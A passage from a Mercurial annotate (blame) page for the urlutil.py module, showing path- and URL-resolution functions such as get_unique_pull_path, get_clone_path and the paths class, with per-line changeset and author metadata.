Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46940
diff
changeset
|
511 if source in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
512 for p in ui.paths[source]: |
48240
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48239
diff
changeset
|
513 yield p |
46962
afdd7c472ef2
urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46940
diff
changeset
|
514 else: |
48239
08630dd719f9
path: unify path creation in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48238
diff
changeset
|
515 p = path(ui, None, source, validate_path=False) |
48240
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48239
diff
changeset
|
516 yield p |
46910
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
517 |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
518 |
46940
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
519 def get_unique_push_path(action, repo, ui, dest=None): |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
520 """return a unique `path` or abort if multiple are found |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
521 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
522 This is useful for command and action that does not support multiple |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
523 destination (yet). |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
524 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
525 Note that for now, we cannot get multiple destination so this function is "trivial". |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
526 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
527 The `action` parameter will be used for the error message. |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
528 """ |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
529 if dest is None: |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
530 dests = [] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
531 else: |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
532 dests = [dest] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
533 dests = list(get_push_paths(repo, ui, dests)) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
534 if len(dests) != 1: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
535 if dest is None: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
536 msg = _( |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
537 b"default path points to %d urls while %s only supports one" |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
538 ) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
539 msg %= (len(dests), action) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
540 else: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
541 msg = _(b"path points to %d urls while %s only supports one: %s") |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
542 msg %= (len(dests), action, dest) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
543 raise error.Abort(msg) |
46940
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
544 return dests[0] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
545 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
546 |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
548 """return a unique `(path, branch)` or abort if multiple are found |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
549 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
550 This is useful for command and action that does not support multiple |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
551 destination (yet). |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
552 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
553 Note that for now, we cannot get multiple destination so this function is "trivial". |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
554 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
555 The `action` parameter will be used for the error message. |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
556 """ |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
557 urls = [] |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
558 if source is None: |
46963
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
559 if b'default' in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
560 urls.extend(p.rawloc for p in ui.paths[b'default']) |
46963
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
561 else: |
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
562 # XXX this is the historical default behavior, but that is not |
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
563 # great, consider breaking BC on this. |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
564 urls.append(b'default') |
46963
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
565 else: |
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
566 if source in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
567 urls.extend(p.rawloc for p in ui.paths[source]) |
46963
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
568 else: |
0d8541e53e46
urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46962
diff
changeset
|
569 # Try to resolve as a local path or URI. |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
570 path = try_path(ui, source) |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
571 if path is not None: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
572 urls.append(path.rawloc) |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
573 else: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
574 urls.append(source) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
575 if len(urls) != 1: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
576 if source is None: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
577 msg = _( |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
578 b"default path points to %d urls while %s only supports one" |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
579 ) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
580 msg %= (len(urls), action) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
581 else: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
582 msg = _(b"path points to %d urls while %s only supports one: %s") |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
583 msg %= (len(urls), action, source) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
584 raise error.Abort(msg) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
585 return parseurl(urls[0], default_branches) |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
586 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
587 |
46934
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
588 def get_clone_path(ui, source, default_branches=()): |
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
589 """return the `(origsource, path, branch)` selected as clone source""" |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
590 urls = [] |
46964
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
591 if source is None: |
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
592 if b'default' in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
593 urls.extend(p.rawloc for p in ui.paths[b'default']) |
46964
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
594 else: |
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
595 # XXX this is the historical default behavior, but that is not |
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
596 # great, consider breaking BC on this. |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
597 urls.append(b'default') |
46964
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
598 else: |
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
599 if source in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
600 urls.extend(p.rawloc for p in ui.paths[source]) |
46964
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
601 else: |
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
602 # Try to resolve as a local path or URI. |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
603 path = try_path(ui, source) |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
604 if path is not None: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
605 urls.append(path.rawloc) |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
606 else: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
607 urls.append(source) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
608 if len(urls) != 1: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
609 if source is None: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
610 msg = _( |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
611 b"default path points to %d urls while only one is supported" |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
612 ) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
613 msg %= len(urls) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
614 else: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
615 msg = _(b"path points to %d urls while only one is supported: %s") |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
616 msg %= (len(urls), source) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
617 raise error.Abort(msg) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
618 url = urls[0] |
46964
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
619 clone_path, branch = parseurl(url, default_branches) |
221f8585e985
urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46963
diff
changeset
|
620 return url, clone_path, branch |
46934
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
621 |
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
622 |
46908
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
623 def parseurl(path, branches=None): |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
624 '''parse url#branch, returning (url, (branch, branches))''' |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
625 u = url(path) |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
626 branch = None |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
627 if u.fragment: |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
628 branch = u.fragment |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
629 u.fragment = None |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
630 return bytes(u), (branch, branches or []) |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
631 |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
632 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
633 class paths(dict): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
634 """Represents a collection of paths and their configs. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
635 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
636 Data is initially derived from ui instances and the config files they have |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
637 loaded. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
638 """ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
639 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
640 def __init__(self, ui): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
641 dict.__init__(self) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
642 |
47272
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
643 home_path = os.path.expanduser(b'~') |
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
644 |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
645 for name, value in ui.configitems(b'paths', ignoresub=True): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
646 # No location is the same as not existing. |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
647 if not value: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
648 continue |
47272
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
649 _value, sub_opts = ui.configsuboptions(b'paths', name) |
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
650 s = ui.configsource(b'paths', name) |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
651 root_key = (name, value, s) |
47272
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
652 root = ui._path_to_root.get(root_key, home_path) |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
653 |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
654 multi_url = sub_opts.get(b'multi-urls') |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
655 if multi_url is not None and stringutil.parsebool(multi_url): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
656 base_locs = stringutil.parselist(value) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
657 else: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
658 base_locs = [value] |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
659 |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
660 paths = [] |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
661 for loc in base_locs: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
662 loc = os.path.expandvars(loc) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
663 loc = os.path.expanduser(loc) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
664 if not hasscheme(loc) and not os.path.isabs(loc): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
665 loc = os.path.normpath(os.path.join(root, loc)) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
666 p = path(ui, name, rawloc=loc, suboptions=sub_opts) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
667 paths.append(p) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
668 self[name] = paths |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
669 |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
670 for name, old_paths in sorted(self.items()): |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
671 new_paths = [] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
672 for p in old_paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
673 new_paths.extend(_chain_path(p, ui, self)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
674 self[name] = new_paths |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
675 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
676 def getpath(self, ui, name, default=None): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
677 """Return a ``path`` from a string, falling back to default. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
678 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
679 ``name`` can be a named path or locations. Locations are filesystem |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
680 paths or URIs. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
681 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
682 Returns None if ``name`` is not a registered path, a URI, or a local |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
683 path to a repo. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
684 """ |
47029
9ea75ea23534
urlutil: deprecate `getpath`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47028
diff
changeset
|
685 msg = b'getpath is deprecated, use `get_*` functions from urlutil' |
47412
c887bab2dccf
py3: byteify the version string passed to the deprecation warning method
Matt Harbison <matt_harbison@yahoo.com>
parents:
47411
diff
changeset
|
686 ui.deprecwarn(msg, b'6.0') |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
